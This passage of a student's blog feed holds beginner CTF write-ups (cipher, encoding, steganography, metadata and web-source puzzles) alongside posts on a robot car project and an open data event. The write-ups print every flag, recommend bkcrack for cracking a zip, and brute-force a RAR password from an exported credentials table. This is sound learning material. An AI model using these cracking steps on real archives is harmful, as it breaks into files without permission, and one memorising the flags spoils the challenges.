<p>In each diagonal block, if you sum up all the “+2 occurrences” of its pixels, you get an integer.</p>
<p>That sequence of integers represents ASCII codes, which together form the flag.</p>
<p>Solution code~</p>
<pre><code>from PIL import Image
import numpy as np

img = Image.open("chal.jpg").convert("RGB")
arr = np.array(img, dtype=np.uint8)
base = np.array([64, 77, 205], dtype=np.int32)

delta = arr.astype(np.int32) - base
steps = np.clip(delta, 0, None) // 2
steps = steps.sum(axis=2)

n = 32
h, w = steps.shape
bh, bw = h // n, w // n
codes = []
for i in range(n):
    block = steps[i*bh:(i+1)*bh, i*bw:(i+1)*bw]
    codes.append(block.sum())

flag = ''.join(chr(c) for c in codes).rstrip('\x00')
print(flag)
# v1t{c4nt_B3_both3r3d_vnkud1837}
</code></pre>
<p>GUESSY CHALL :&gt;</p>
<hr />
<h3>[Misc] MOOOO</h3>
<img src="https://hackmd.io/_uploads/ryLPnlHybe.png" alt="image" />
<p>This is a cool challenge lol</p>
<p>You can find comment with COW programming language through exiftool.</p>
<p>After running the code, we got <code>thismaybeapasswordbutwhoreallyknowsimjustmessginitisapassword</code></p>
<p>Do steghide to <code>MOOOO.jpeg</code>, and got <code>TRYYY.txt</code>
there are many invisible spaces in the .txt file</p>
<p>Since I played SCIST Final CTF before, someone made a <a href="https://github.com/Morexsyan/stegburp/" rel="noopener noreferrer" target="_blank">tool</a> for solving this problem.</p>
<p>Got the flag <code>v1t{D0wn_Th3_St3gN0_R4bb1t_H0l3}</code></p>
<hr />
<h3>[Forensics] Tryna crack?</h3>
<img src="https://hackmd.io/_uploads/B1XobfBJbg.png" alt="image" />
<p>This challenge also guessy, many people try to brute force the zip file password, but actually you can solve it with the tool “<a href="https://github.com/kimci86/bkcrack/releases" rel="noopener noreferrer" target="_blank">bkcrack</a>”</p>
<p>I got <code>quackquackquack.png</code> after extracting <code>challenge.zip</code>.</p>
<p>After checking with exiftool, I found a comment that says
<code>password for zip file =)))) D4mn_br0_H0n3y_p07_7yp3_5h1d</code></p>
<p>BUT THE FLAG ISN’T <code>v1t{D4mn_br0_H0n3y_p07_7yp3_5h1d}</code></p>
<p>lots of people are stuck here lol</p>
<p>I looked deeper and tried adjusting the image’s width and height, then got this.</p>
<img src="https://hackmd.io/_uploads/ryh34MSyWe.png" alt="image" />
<p>The Morse code below translates to “SHA512.”</p>
<p>So it’s clear that the flag is supposed to be the SHA-512 of <code>D4mn_br0_H0n3y_p07_7yp3_5h1d</code>.</p>
<p>Got flag <code>v1t{7083748baa3a42dc0a93811e4f5150e7ae1a050a0929f8c304f707c8c44fc95d86c476d11c9e56709edc30eba5f2d82396f426d93870b56b1a9573eaac8d0373}</code></p>]]></content>
    <category term="CTF" />
  </entry>
  <entry>
    <title>資訊班成發專題 - 導盲犬機器車</title>
    <link href="https://www.xzhiyouu.me/posts/資訊班成發專題" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/資訊班成發專題</id>
    <updated>2025-09-01T00:00:00.000Z</updated>
    <published>2025-09-01T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.D-X7YIBg_2jmUwT.webp" alt="資訊班成發專題 - 導盲犬機器車" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>專題發想與主題選定</h2>
<p>成發的結束，也代表著資訊班的一個里程碑。我們從很早之前就開始思考專題要做什麼才好，什麼樣的主題可以讓我們顯得與眾不同。當時看到大部分組別都選擇做遊戲，因此我們這組想挑戰一個實體物品，並結合程式設計。最後，我們選擇了導盲犬作為主題，嘗試製作一台導盲犬機器車。</p>
<h2>初期</h2>
<p>一開始我們五個人都非常投入，積極研究專題內容，有人負責尋找合適的硬體設備，有人規劃整體製作流程。雖然最後我們獲得了人氣獎，但整個過程真的非常不容易。</p>
<h2>過程</h2>
<p>我和其中一位組員基本上扛起了大部分的專題製作進度，甚至週末也會自己約出來趕工。我們有時也會在最後一堂課後留下來製作，老師也常常陪著我們一起努力。</p>
<p>我印象最深的是有次 GPS 模組一直收不到訊號，試了很多方法都沒有效果，後來有人提議試著走到戶外，結果一到外面馬上就收到訊號了；還有一次導盲車完全動不了，程式明明寫好了卻灌不進 micro 的板子裡，結果另一位組員走過來隨手按了一下就成功了…</p>
<p>我們這個主題其實難度不小，而我們組員中還有人身兼總召的工作，負責整體活動的統籌工作，事情很多卻仍然盡力兼顧專題進度。我和另一位組員還記得，在大家去國際會議廳排練時，我們仍在後方的台階處趕進度，為了解決小車的轉向和直行問題花了好幾週的時間。</p>
<h2>設計</h2>
<p>原本我們的小車還計畫使用 3D 列印方式重新設計外觀，但因時間有限，最後只好放棄這個想法。希望未來有機會能做出來展示。</p>
<h2>影片剪輯與回憶錄製作</h2>
<p>除了專題之外，我還負責了一件很重要的任務，就是影片剪輯。除了中場後那段影片，最重要的就是回憶錄影片了。</p>
<p>在剪輯回憶錄時，配樂選擇是最困難的部分。我一開始選了 Taylor Swift 的《Long Live》，也有人提議選的是陳勢安的《勢在必行》，原本想都選中文歌，但因為我平常幾乎都聽英文歌，最後只有一首能合唱。後來為了配上更多照片素材，又加入了 Gracie Abrams 的《That’s So True》，我覺得這首歌充滿活力，只是英文歌比較難跟大家一起合唱。</p>
<p>這支回憶錄影片其實是在成發前幾個小時才完成，當天我也一直在休息室處理影片細節，調整拍子與上字幕。影片完成的那一刻，真的成就感滿滿！</p>
<h2>未來期許</h2>
<p>總之，成發順利結束了，留下了許多寶貴的回憶。接下來就是學測的準備，希望自己能為未來努力幾個月，讓高中三年的努力有所收穫，不留遺憾！</p>
<img src="https://hackmd.io/_uploads/B1u_IsbYWl.jpg" alt="_03B3592" />
<img src="https://hackmd.io/_uploads/By82Uj-FZx.jpg" alt="_03B3607" />
<img src="https://hackmd.io/_uploads/Sk2lHiWFbg.jpg" alt="_03B2965" />]]></content>
    <category term="Activity" />
  </entry>
  <entry>
    <title>2025 Taiwan &amp; Korea Open Data Analysis Project</title>
    <link href="https://www.xzhiyouu.me/posts/2025-taiwan--korea-open-data-analysis-project" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/2025-taiwan--korea-open-data-analysis-project</id>
    <updated>2025-08-29T00:00:00.000Z</updated>
    <published>2025-08-29T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/nhsh308.DF8gcjPn_Z1FWt2z.webp" alt="2025 Taiwan & Korea Open Data Analysis Project" style="width: 100%; height: auto; margin-bottom: 1em;" />
<blockquote><p>Written by Hsieh Chih-Yu</p></blockquote>
<hr />
<h2>Daily Activity Sketch</h2>





















<table><thead><tr><th>Date</th><th>Activity</th></tr></thead><tbody><tr><td>Aug 19</td><td>Meet study partners, ice-breaking, open data introduction</td></tr><tr><td>Aug 20</td><td>Project idea and making</td></tr><tr><td>Aug 21</td><td>Project sharing, visit Google office</td></tr></tbody></table>
<hr />
<h2>Memorable Highlights</h2>
<ul>
<li>Working and learning with Korean partners</li>
<li>Visiting Google’s office in Taipei 101</li>
</ul>
<hr />
<h2>Reflections</h2>
<p>這次很高興有機會可以成為班上前20名的同學代表參加臺韓學生交流公開資料分析專題的活動，從第一天的會面到第三天的Google參訪，真的是收穫滿滿。</p>
<p>首先，第一天抵達了國立師範大學和平校區，在那裡見到了我的兩位韓國學伴，雖然很想趕快與他們交流溝通，但是因為語言的不通，我們最後仍以訊息傳送的方式了解彼此。這次的上課老師是 <a href="https://jppark.smart89.com/about?tl=en" rel="noopener noreferrer" target="_blank">JP老師</a>，剛開始的時候老師為了拉近與學生的距離，特別挑了一支舞蹈邀請我們暖暖身，接著就是重要的公開數據介紹了。老師講解了公開數據的三個特點、如何五步驟完成公開資料專案，並介紹了幾種數據處理的方式。</p>
<p>再來輪到我們發想專題，我們最後決定以「臺灣與韓國的老年人口」為主軸做發想，製作了「<a href="https://cheonwan.vercel.app/" rel="noopener noreferrer" target="_blank">Cheonwan</a>」專題，並且成功在第三天的發表會上展示了我們的成果，也如願參觀了Google的辦公室，從77樓俯瞰下去，景色真的很漂亮！謝謝羅老師給了我機會參加這次活動！</p>
<hr />
<p>I was very happy to be one of the top 20 students in my class to join the Taiwan-Korea Student Exchange: Open Data Analysis Project. From the first day’s meeting to the third day’s Google office visit, I learned a lot.</p>
<p>On the first day, I went to NTNU Hoping Campus and met my two Korean partners. I wanted to talk with them, but because of language problems, we mostly used messages to communicate. The teacher, <a href="https://jppark.smart89.com/about?tl=en" rel="noopener noreferrer" target="_blank">Professor JP</a>, started with a short dance to help us feel relaxed, then gave an introduction to open data. He explained three features of open data, a five-step process to finish a project, and some methods for data processing.</p>
<p>For our project, we chose the topic “Elderly Population in Taiwan and Korea” and created “<a href="https://cheonwan.vercel.app/" rel="noopener noreferrer" target="_blank">Cheonwan</a>.” On the third day, we presented our work successfully and then visited Google’s office. The view from the 77th floor was amazing. I am very thankful to Professor Lo for giving me this chance to join the event.</p>
<hr />
<h2>Event Photos</h2>
<ul>
<li>
<p>JP teaching<br />
<img src="https://hackmd.io/_uploads/SyTOhsAKxl.jpg" alt="IMG_7269" /></p>
</li>
<li>
<p>Group partners<br />
<img src="https://hackmd.io/_uploads/HyR6ajRYeg.jpg" alt="IMG_7315" /></p>
</li>
<li>
<p>Practicing presentation<br />
<img src="https://hackmd.io/_uploads/HJ4yRjCYxx.jpg" alt="IMG_7394" /></p>
</li>
<li>
<p>Professor Lo and JP<br />
<img src="https://hackmd.io/_uploads/HJybCiRYee.jpg" alt="IMG_7523" /></p>
</li>
<li>
<p>Presenting at Google<br />
<img src="https://hackmd.io/_uploads/H1Sf0sAYlg.jpg" alt="IMG_7591" /></p>
</li>
<li>
<p>Group photo<br />
<img src="https://hackmd.io/_uploads/SkYQ0oAFgx.jpg" alt="IMG_7692" /></p>
</li>
</ul>
<hr />
<h2>Project Presentation</h2>
<ul>
<li>View on Website: <a href="https://cheonwan.vercel.app/" rel="noopener noreferrer" target="_blank">Link</a></li>
<li>View on Canva: <a href="https://www.canva.com/design/DAGwfgf1IC0/ImwBholm6aD4ng6PhIcHkg/view?utm_content=DAGwfgf1IC0&amp;utm_campaign=designshare&amp;utm_medium=link2&amp;utm_source=uniquelinks&amp;utlId=h6bbc61d220" rel="noopener noreferrer" target="_blank">Link</a></li>
</ul>
<hr />
<h2>Attachments</h2>
<ul>
<li>Tool I made for analyzing CSV files and making charts
<a href="https://github.com/xzhiyouu62/PythonGraphMaker" rel="noopener noreferrer" target="_blank">(GitHub Link)</a></li>
</ul>]]></content>
    <category term="Activity" />
    <category term="Open Data" />
    <category term="Taiwan" />
    <category term="Korea" />
  </entry>
  <entry>
    <title>Public Data Project Guide</title>
    <link href="https://www.xzhiyouu.me/posts/public-data-project-guide" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/public-data-project-guide</id>
    <updated>2025-08-20T00:00:00.000Z</updated>
    <published>2025-08-20T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.DPXPK4aF_Z1DLM4q.webp" alt="Public Data Project Guide" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>Introduction</h2>
<p>Public data refers to information created and managed by government or public organizations that is freely available to anyone. This valuable resource can be used to improve the world.</p>
<h3>Key Benefits:</h3>
<ul>
<li><strong>Free Usage</strong>: Most public data is free to use.</li>
<li><strong>Freedom of Use</strong>: It can be utilized for educational, research, business, and other purposes.</li>
<li><strong>Creating New Value</strong>: Data processing can lead to innovative services or applications.</li>
</ul>
<h2>5-Step Guide to Completing a Public Data Project</h2>
<h3>1. Define the Problem</h3>
<p>The first step is to define the problem you aim to solve. This could range from small inconveniences to larger societal issues.</p>
<h3>2. Collect Data</h3>
<p>Once the problem is defined, gather the necessary data to address the issue.</p>
<h3>3. Analyze Data</h3>
<p>The next step is to process and analyze the collected data for insights.</p>
<h3>4. Propose Solutions</h3>
<p>Based on the data analysis, suggest potential solutions to the problem.</p>
<h3>5. Publish Results</h3>
<p>Finally, share your findings and solutions with the public.</p>
<h2>Core Technologies</h2>
<ul>
<li><strong>Big Data Analytics</strong>: Tools for handling large volumes of data.</li>
<li><strong>Data Visualization</strong>: Representing data through charts and graphs for better understanding.</li>
<li><strong>Machine Learning</strong>: Using algorithms to improve decision-making and predictions.</li>
</ul>
<h2>Success Tips</h2>
<ol>
<li>Ensure proper data privacy to avoid leaks or misuse.</li>
<li>Use interactive methods to present the data for better engagement and understanding.</li>
</ol>
<h2>Conclusion</h2>
<p>Public data can be a powerful tool for innovation. By following these steps and leveraging the right technologies, one can create impactful solutions.</p>]]></content>
    <category term="Open Data" />
    <category term="Public Data" />
  </entry>
  <entry>
    <title>資安實務素養 「自主學習」 CTF 挑戰賽</title>
    <link href="https://www.xzhiyouu.me/posts/資安實務素養ctf挑戰賽" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/資安實務素養ctf挑戰賽</id>
    <updated>2025-05-15T00:00:00.000Z</updated>
    <published>2025-05-15T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.DydRB-_o_occU9.webp" alt="資安實務素養 「自主學習」 CTF 挑戰賽" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>心得</h2>
<p>因為我的資訊老師是 isip 的中心老師，所以我們有這個機會可以接觸到更多有關資安的知識。我對資安這個領域充滿興趣，平時就會找線上的 CTF 平台練習，偶爾會看看 CTFtime 上有什麼比較簡單的比賽可以讓我試水溫，也因為這樣，我覺得這個 CTF 挑戰賽的題目偏簡單，但也讓我多了學習資安的機會。</p>
<hr />
<img src="https://hackmd.io/_uploads/H1vPwEHSll.png" alt="image" />
<h2>參賽證明</h2>
<img src="https://hackmd.io/_uploads/r1OP_gVEle.jpg" alt="8-團體賽參賽證明" />
<img src="https://hackmd.io/_uploads/B1CFOgNEel.jpg" alt="個人賽證書" />
<hr />
<h2>個人賽</h2>
<h3>ROT 47 [10]</h3>
<pre><code>你知道下列文字如何解密嗎？$F3DE:EFE:@? r:A96C

請把解開的內容變成 Flag 格式，如解開 AABBCCDD，請變成 CTF{AABBCCDD}
Key 格式：CTF{您的答案}
</code></pre>
<p>使用線上解密：<a href="https://www.dcode.fr/rot-47-cipher" rel="noopener noreferrer" target="_blank">https://www.dcode.fr/rot-47-cipher</a></p>
<p>Flag: <code>CTF{Substitution Cipher}</code></p>
<hr />
<h3>Morse Code 解碼 [20]</h3>
<pre><code>描述：編碼與解碼是資訊領域日常都在使用的技術，如 ASCII、Base64、Base32 各有其適用處，請問你對 Base64 編碼與解碼的技術了解嗎？

你知道如何解碼下列資訊嗎？
.- .-.. ..-. .-. . -.. / .-.. . .-- .. ... / ...- .- .. .-.. / .-.-. / -- --- .-. ... .

Key 格式：CTF{您的答案}
</code></pre>
<p>使用線上解密：<a href="https://morsecode.world/international/translator.html" rel="noopener noreferrer" target="_blank">https://morsecode.world/international/translator.html</a></p>
<p>Flag: <code>CTF{ALFRED LEWIS VAIL + MORSE}</code></p>
<hr />
<h3>被關的凱撒 [50]</h3>
<pre><code>凱撒大帝被敵人抓住後，關在一個 5 階的柵欄中。他寫了一個求救文，而您能從中找出關鍵資料來拯救他嗎？
Key 格式：CTF{您的答案}
</code></pre>
<p>題目附加檔案：<code>GDS.zip</code>，解壓後得到 <code>GDS.txt</code>。</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ unzip GDS.zip
  inflating: GDS.txt
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat GDS.txt
AH6sxcffw1cjio1oxrr9uf/dmnwP:jt3axq:8stu
</code></pre>
<p>從題目敘述可推得密文使用 Caesar cipher 與 Rail fence cipher。不過這題的 Rail fence 並非 W 型，而是將明文平均切成 N 等份後依序排列。</p>
<p>找到線上解密工具：<a href="https://www.metools.info/code/fence155.html" rel="noopener noreferrer" target="_blank">https://www.metools.info/code/fence155.html</a></p>
<p>解密結果：<code>Account:Hfjxfw386fir/Password:xtx119mjqu</code></p>
<p>再將兩段字串做 Caesar cipher decode，即可得到最終 flag。</p>
<p>Flag: <code>CTF{Caesar386adm/sos119help}</code></p>
<hr />
<h3>瑪麗皇后的智慧 [50]</h3>
<pre><code>Mary Queen 瑪麗·史都華密碼。
提示：你了解附圖的文字意思嗎？
Key 格式：CTF{您的答案}
</code></pre>
<img src="https://hackmd.io/_uploads/HyZMn14Vel.png" alt="Mary_Queen" />
<p>上網搜尋可找到解密工具：<a href="https://www.dcode.fr/mary-stuart-code" rel="noopener noreferrer" target="_blank">https://www.dcode.fr/mary-stuart-code</a></p>
<p>Flag: <code>CTF{STEGANOGRAPHCRYTOGRAPHY}</code></p>
<hr />
<h3>ROT13 [50]</h3>
<pre><code>ROT13 是一種簡單的凱撒密碼，它將字母表中的每個字母向右移動 13 位。
PGS{TBBQ QNL! E.B.P.}
Key 格式：CTF{您的答案}
</code></pre>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "PGS{TBBQ QNL! E.B.P.}" | rot13
CTF{GOOD DAY! R.O.C.}
</code></pre>
<p>Flag: <code>CTF{GOOD DAY! R.O.C.}</code></p>
<hr />
<h3>文字變亂碼 [50]</h3>
<pre><code>小華向 MIS 人員說明，客戶寄來的信都變成了亂碼。您能幫他還原成正常的文字嗎？
檔案：Email.7z
Key 格式：CTF{您的答案}
</code></pre>
<p>解壓後得到 <code>Email.txt</code>，內容明顯是 base64 編碼：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat Email.txt
6Iqx6JOu5LiA5ZCN5LqU...（略）
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "6Iqx6JOu..." | base64 -d
...
CTF{**eMAIL**bas64**}
</code></pre>
<p>Flag: <code>CTF{**eMAIL**bas64**}</code></p>
<hr />
<h3>維吉尼爾密碼 [50]</h3>
<pre><code>維吉尼爾密文為？ Vhixoieemksktorywzvhxzijqni
提示：凱撒就是一切，但他把凱撒密法提升到了一個新的層次。
參考：https://www.guballa.de/vigenere-solver
Key 格式：CTF{您的答案}
</code></pre>
<p>Flag: <code>CTF{Theforceisstrongwiththisone}</code></p>
<hr />
<h2>團體賽</h2>
<h3>NIST 資安風險管理 [30]</h3>
<pre><code>描述：請觀察附圖，NIST 提出的網路安全框架 CSF。
提示：NIST 核心，key 為 5 位數，順時針方向、識別 1、保護 3、偵測 3、回應 5、復原 1 的每個類別一共有幾個分項數？
Key 格式：CTF{您的答案}
</code></pre>
<img src="https://hackmd.io/_uploads/SyhuJgV4lx.jpg" alt="NIST" />
<p>Flag: <code>CTF{68521}</code></p>
<hr />
<h3>詩文寄情 [50]</h3>
<pre><code>一首詩文，內有什玄機？
Key 格式：CTF{您的答案}
</code></pre>
<p>給了一個 Word 檔，開啟隱藏字元後可見 flag。</p>
<img src="https://hackmd.io/_uploads/Hyk_glV4el.png" alt="image" />
<p>Flag: <code>CTF{Cipher/Cvy36}</code></p>
<hr />
<h3>Strings it!!! [50]</h3>
<pre><code>描述：使用一些指令來幫助您找到字串中的旗標。
Key 格式：CTF{您的答案}
</code></pre>
<p>題目附加檔案：<code>strings</code></p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ strings strings | grep CTF
picoCTF{5tRIng5_1T_7f766a23}
</code></pre>
<p>Flag: <code>CTF{5tRIng5_1T_7f766a23}</code></p>
<hr />
<h3>Metadata 元資料 [80]</h3>
<pre><code>內容：檔案的元資料總是可以更改。你能找到那面旗幟嗎？
提示：1. 檢視圖片檔案元資料詳細內容 2. 運用線上 base64decode.org 解開 base64 編碼
Key 格式：CTF{ }
</code></pre>
<p>題目附加檔案：<code>rabbit-6.jpg</code></p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ exiftool rabbit-6.jpg
...
XP Keywords  : Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9
Subject      : Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9
</code></pre>
<p>找到 base64 編碼字串後解碼得到 flag：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9" | base64 -d
CTF{2024 9/25 1500 左營高鐵7-11見}
</code></pre>
<p>Flag: <code>CTF{2024 9/25 1500 左營高鐵7-11見}</code></p>
<hr />
<h3>黑與白 [100]</h3>
<pre><code>黑白之間，藏有重要資訊，請將他找出來吧。
Key 格式：CTF{ }
</code></pre>
<p>題目給了 base64 編碼過的圖片資料，解碼後得到 QR code。</p>
<img src="https://hackmd.io/_uploads/BkQcml4Vle.png" alt="image" />
<p>拿去線上掃描或手機掃描即可得到 flag。</p>
<p>Flag: <code>CTF{OKS5543/891HHFR}</code></p>
<hr />
<h3>Doraemons 俄羅斯娃娃 [100]</h3>
<pre><code>提示：在 Kali Linux 中應用 binwalk 尋找 Doraemons.jpg 中的 Key。
Key 格式：isipCTF{AABBCCDD}
</code></pre>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ binwalk Doraemons.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
0             0x0             JPEG image data, JFIF standard 1.01
18043         0x467B          Zip archive data ... name: 2_with_3.jpg
37726         0x935E          End of Zip archive
</code></pre>
<p>使用 <code>binwalk -e</code> 一路解到底，最終在最深層找到 flag：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/.../isipCTF$ strings 4_with_flag.jpg | grep CTF
isipCTF{336cf6d51c9d9774fd37196c1d7320ff}

# 或直接 cat 最底層的 flag.txt
xzhiyouu@DESKTOP-9SMADFC:~/.../isipCTF$ cat flag.txt
isipCTF{336cf6d51c9d9774fd37196c1d7320ff}
</code></pre>
<p>Flag: <code>isipCTF{336cf6d51c9d9774fd37196c1d7320ff}</code></p>
<hr />
<h3>小熊維尼 Winnie [100]</h3>
<pre><code>密碼為：isip2024
使用工具：https://futureboy.us/stegano/decinput.html
Key 格式：CTF{您的答案}
</code></pre>
<p>使用 steghide 提取隱藏資料：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ steghide extract -sf winnie-the-poohsteg.jpg
Enter passphrase:
wrote extracted data to "steganopayload147315.txt".
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat steganopayload147315.txt
Q1RGe1RoZSBNYW55IEFkdmVudHVyZXMgb2YgV2lubmllIHRoZSBQb29ofQ==
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "Q1RGe1RoZSBNYW55IEFkdmVudHVyZXMgb2YgV2lubmllIHRoZSBQb29ofQ==" | base64 -d
CTF{The Many Adventures of Winnie the Pooh}
</code></pre>
<p>Flag: <code>CTF{The Many Adventures of Winnie the Pooh}</code></p>
<hr />
<h3>尋找線索 [100]</h3>
<pre><code>小明刑警從駭客筆電中找到了一個可疑檔案，懷疑檔案內容中有重要線索，您能幫忙找出來嗎？
本題答案由兩組字串組成 Key 格式：CTF{您的答案1+您的答案2}
</code></pre>
<p>題目附加檔案：<code>SXB.zip</code>，解壓後得到 <code>AccessControl.rar</code> 和 <code>HRdb.mdb</code>。</p>
<p><code>AccessControl.rar</code> 有密碼，先從 <code>HRdb.mdb</code> 下手：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF/SXB$ mdb-tables HRdb.mdb
員工名單 檔案資訊
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF/SXB$ mdb-export HRdb.mdb 檔案資訊
NO,EMPID,Account,Pwd,FilePWD
"TG001","EM348","Paul","ZTSW1E","pvYp8se247"
"TG002","HB035","Tony","nBUGV8","bFE8ek5133"
"TG005","HB084","Peter","BoUEvZ","WQ6f6f3859"
"TG003","HB407","Amy","TqyHyG","ylhpakj152"
"TG004","HB720","Yvonne","ag1WVK","aRwt9nb020"
"TG006","HB922","Rich","UCuOPE","qGF7tag158"
</code></pre>
<p>暴力嘗試後得到壓縮檔密碼 <code>WQ6f6f3859</code>，解壓得到 <code>Access Control.pst</code>。</p>
<p>使用線上工具 <a href="https://goldfynch.com/pst-viewer/" rel="noopener noreferrer" target="_blank">https://goldfynch.com/pst-viewer/</a> 開啟後找到 flag。</p>
<img src="https://hackmd.io/_uploads/rJkCPgEEee.png" alt="image" />
<p>Flag: <code>CTF{security+4Cc3ssC0ntr0ller}</code></p>]]></content>
    <category term="CTF" />
    <category term="Writeup" />
  </entry>
  <entry>
    <title>UWSP Pointer Overflow CTF writeup</title>
    <link href="https://www.xzhiyouu.me/posts/uwsp-pointer-overflow-ctf-writeup" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/uwsp-pointer-overflow-ctf-writeup</id>
    <updated>2024-11-12T00:00:00.000Z</updated>
    <published>2024-11-12T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.pp8TYf1n_Z2jyFIO.webp" alt="UWSP Pointer Overflow CTF writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h4>CTFtime: <a href="https://ctftime.org/event/2121/" rel="noopener noreferrer" target="_blank">https://ctftime.org/event/2121/</a></h4>
<blockquote><ul>
<li>player: xzhiyouu</li>
</ul></blockquote>
<h2>Web 100 - The Way Out is Through</h2>
<ul>
<li>
<h3>Problem description</h3>
</li>
</ul>
<img src="https://hackmd.io/_uploads/SJeNxC1Mkl.png" alt="solve" />
<p>The question provided a link, so I clicked on it, but there was nothing there.
<img src="https://hackmd.io/_uploads/S1g-rRnyMye.png" alt="101" />
So I switched to the source code to look at it, and found that the flag seemed to be divided into five parts.</p>
<pre><code>&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
  &lt;head&gt;
    &lt;meta charset="UTF-8" /&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0" /&gt;
    &lt;title&gt;TTiOT&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;Not Found&lt;/h1&gt;
    &lt;p&gt;The requested URL /snazzy-dump-pics.html was not found on this server.&lt;/p&gt;
    &lt;hr /&gt;
    &lt;p&gt;&lt;i&gt;Apache/1.1.3 (Ubuntu) Server at localhost Port 1337&lt;/i&gt;&lt;/p&gt;

    &lt;script&gt;
      let part_1 = [112, 111, 99, 116].map((x) =&gt; String.fromCharCode(x)).join('')
      let part_2 = atob('Znt1d3NwXw==')
      let part_3 = 'document.cookie'
      let part_4 = 'XzdydTdoXw=='
      let part_5_hex = [0x31, 0x35, 0x5f, 0x30, 0x75, 0x37, 0x5f, 0x37, 0x68, 0x33, 0x72, 0x33, 0x7d]

      console.log('The Tooth is Over There.')
      document.cookie = '\u0037\u0068\u0033'
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<pre><code>let part_1 = [112, 111, 99, 116].map(x =&gt; String.fromCharCode(x)).join('');
</code></pre>
<p>This line converts each number in <strong>[112, 111, 99, 116]</strong> to a character (ASCII values).<br />
So the result of part_1 will be <code>poct</code><br /></p>
<pre><code>let part_2 = atob("Znt1d3NwXw==");
</code></pre>
<p>This part uses atob() to decode a Base64 string<br />
The result of part*2 will be <code>f{uwsp*</code><br /></p>
<pre><code>let part_3 = "document.cookie";
</code></pre>
<p>This sets a cookie value in document.cookie using Unicode escape sequences.<br />We can see the value of document.cookie below.</p>
<pre><code>document.cookie = "\u0037\u0068\u0033";
</code></pre>
<p>The result of part_3 will be <code>7h3</code></p>
<pre><code>let part_4 = "XzdydTdoXw==";
</code></pre>
<p>Just another Base64 string to decode.<br />
The result of part*4 will be <code>\_7ru7h*</code><br /></p>
<pre><code>part_5_hex = [0x31, 0x35, 0x5f, 0x30, 0x75, 0x37, 0x5f, 0x37, 0x68, 0x33, 0x72, 0x33, 0x7d];
</code></pre>
<p>This is an array of hexadecimal values representing ASCII characters.<br />
The result of part_5 will be <code>15_0u7_7h3r3}</code><br /></p>
<p>So just put all the broken flags together to get the final answer.
<code>poctf{uwsp_7h3_7ru7h_15_0u7_7h3r3}</code></p>
<h2>Web 100 - Giving Up the Game</h2>
<ul>
<li>
<h3>Problem description</h3>
<img src="https://hackmd.io/_uploads/SyiPeCyzyx.png" alt="solve2" /></li>
</ul>
<p>It’s also a Web question type…<br />
You will see a game called Space Adventure starting up and spinning for a long time.<br />
<img src="https://hackmd.io/_uploads/B1b2g0kf1g.png" alt="link" />
We check the source code first.<br />
So I got this.<br /></p>
<pre><code>&lt;body&gt;
  &lt;div class="loading-container"&gt;
    &lt;div id="loading-text"&gt;Loading Space Adventure... Please wait.&lt;/div&gt;

    &lt;div class="loading-bar-container"&gt;
      &lt;div class="loading-bar"&gt;&lt;/div&gt;
    &lt;/div&gt;

    &lt;div class="loading-spinner"&gt;&lt;/div&gt;

    &lt;div class="fake-tips"&gt;Tip: Collect all power-ups to upgrade your ship! 💥&lt;/div&gt;
  &lt;/div&gt;

  &lt;script&gt;
    const tips = [
      'Tip: Collect all power-ups to upgrade your ship! 💥',
      'Tip: Watch out for asteroids in Sector 7! 🪨',
      'Tip: Shields down! Restore power to your defenses! ⚡',
      'Tip: New ship parts available at the space station! 🚀',
      'Tip: Find the hidden treasure on Planet Zog! 🌌',
    ]

    let tipIndex = 0
    const tipElement = document.querySelector('.fake-tips')

    setInterval(() =&gt; {
